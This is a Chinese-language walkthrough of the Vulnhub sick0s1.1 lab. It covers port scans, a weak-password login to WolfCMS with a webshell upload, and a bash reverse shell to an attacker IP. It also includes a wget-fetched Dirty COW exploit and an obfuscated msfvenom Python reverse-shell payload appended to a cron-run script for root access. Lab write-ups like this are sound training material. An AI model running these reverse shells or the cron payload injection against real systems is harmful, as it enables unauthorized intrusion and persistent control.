Vulnhub sick0s1.1

0x01:端口扫描

主机发现

nmap -sn 192.168.231.0/24

image-20241128195148641

全端口扫描

nmap --min-rate 10000 -p- 192.168.231.141

image-20241128195323441

22ssh,3128squid-http,但8080http是关闭的

Squid 是一个高性能的开源代理服务器软件,它支持多种协议,包括 HTTP、HTTPS、FTP 等。它通常用于以下几种用途:

1、Web代理:作为 HTTP 或 HTTPS 代理服务器,Squid 可以帮助在客户端和目标服务器之间中转网络流量,提供匿名访问、访问控制和缓存加速等功能。

2、缓存加速:Squid 可以缓存访问过的网页和内容,减少网络带宽的消耗,提高访问速度。它可以存储网页、图像、视频等文件的副本,在用户请求时直接返回缓存中的内容,从而加速访问。

3、访问控制:Squid 允许管理员根据 IP 地址、URL、时间等进行精细化的访问控制。可以限制某些网站的访问,或者设置过滤规则。

4、日志记录和监控:Squid 提供了详细的访问日志,管理员可以通过这些日志监控网络流量、查看哪些网站被访问、访问的频率等信息。

UDP扫描

nmap -sU --min-rate 10000 -p- 192.168.231.141

image-20241128195749346

无UDP端口开放

详细端口扫描

nmap -sT -sC -sV -O --min-rate 10000 -p22,3128,8080 192.168.231.141

image-20241128201645836

漏洞扫描

nmap --script=vuln -p22,3128,8080 192.168.231.141

image-20241128201626653

0x02:web渗透

因为它起了一个squid-http服务,所以我们需要开个代理

image-20241129143600440

image-20241128204606704

先扫目录

dirsearch -u http://192.168.231.141 --proxy http://192.168.231.141:3128

扫描到两个关键目录

image-20241128211018280

先看robot.txt目录里的内容

image-20241128211100093

得到一个目录/wolfcms的cms目录

再看看/connect目录,下载下来一个connect.py的文件

image-20241128211458721

我们查看一下

image-20241128211559680

我们再查看/wolfcms

image-20241128211701146

我们扫描目录

image-20241128212040246

/wolfcms/docs/updating.txt的目录文件里找到这个cms的版本:0.8.2

image-20241128212142904

查找漏洞

image-20241128215535330

看到38000.txt

image-20241128220358998

发现URL地址,我们首先需要登录

image-20241128215706079

弱口令admin : admin

登录进去后按照URL上传测试文件

image-20241128221140671

上传成功后就去上面指定的URL

image-20241128221148299

测试成功,现在上传木马

image-20241128222337744

antsword配代理后连接

image-20241128222403194

反弹shell

/bin/bash -c 'bash -i >& /dev/tcp/192.168.231.138/4444 0>&1'

image-20241128222754861

0x03:权限提升

先提tty

python -c 'import pty; pty.spawn("/bin/bash");'

看看自动表

cat /etc/crontab

image-20241129143756634

没有,我们再查看S位

find / -type f -perm -04000 -ls 2>/dev/null

image-20241129143851092

sudoedit,查看是否存在漏洞

sudoedit -s /

image-20241128223649988

并不是以sudoedit开头,不存在漏洞

查看可写文件

find / -type f -writable ! -path '/proc/*' 2>/dev/null

没有什么可疑文件

上传linpeas查看

image-20241129145233200

两个highly probable,都是脏牛,而且这台靶机有gcc,我们直接启动

wget 192.168.231.138:6666/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty 123

但是靶机直接死机了,换一种方法试试

看看上级目录有什么文件

image-20241129154250614

我们查看一下配置文件

cat config.php

image-20241129153820346

找到一个凭证,是数据库的,但是没有关系,我们可以试试横向移动

看一下有哪些用户

cat /etc/passwd

image-20241129154544568

ssh只开放了这一个用户,我们尝试一下

ssh sickos@192.168.231.141

成功登录!查看权限

image-20241129154709002

直接提权!

image-20241129154725029

0x04:反思总结

1.利用公开cms漏洞可以直接拿到立足点

2.其实我现在查找cron任务的操作一直不正确

单纯的搜索cat /etc/crontab是不一定找得全的,我们得看全一点,我们可以使用以下命令检查所有 cron 目录中的自定义作业

ls -l /etc/cron*

image-20241129160451087

在这里我们发现了automate可疑表,我们查看

image-20241129160718781

image-20241129160822569

会执行这个文件,我们稍作修改

  • 让脚本将我们的 SSH 密钥添加到 root 的授权密钥列表中
  • 让脚本在我们的机器上生成一个反向 shell
  • 让脚本将 root 的密码更改为我们选择的密码
  • 让脚本将 /root 目录的权限更改为 777
  • 等等。。。

我们这里因为是反弹shell进来的,没有密码,我们最好使用python再反弹shell

我们用msfvenom生成一个

msfvenom -p cmd/unix/reverse_python LHOST=192.168.231.138 LPORT=5555 -f raw

image-20241129165026717

把它添加进connect.py

echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkNELgjAQxv8V8WmDOJtSGLEHCYOICtJ3ybVQMjc8/f+bbBF78+A4vrvfvg/WfrQaxgCVeMsx+NXKNE61HpSQiN5aGbk3s1E48pDtYmDbFOKEAUvS0N5mS74xZSVyaw92EKeyY3W65qUfak/F7XCuivKeZxfqPECovpdiJGRO9h7NcdRxCuE56ZggvNpO9opQD10vw9gyLHaY5v/PAvHoOhJGddtH2IT0C3nfWxM=')[0])))" >> /var/www/connect.py

等它1分钟后成功提权

posted @ 2024-11-29 17:34  kelec0ka  阅读(4)  评论(0编辑  收藏  举报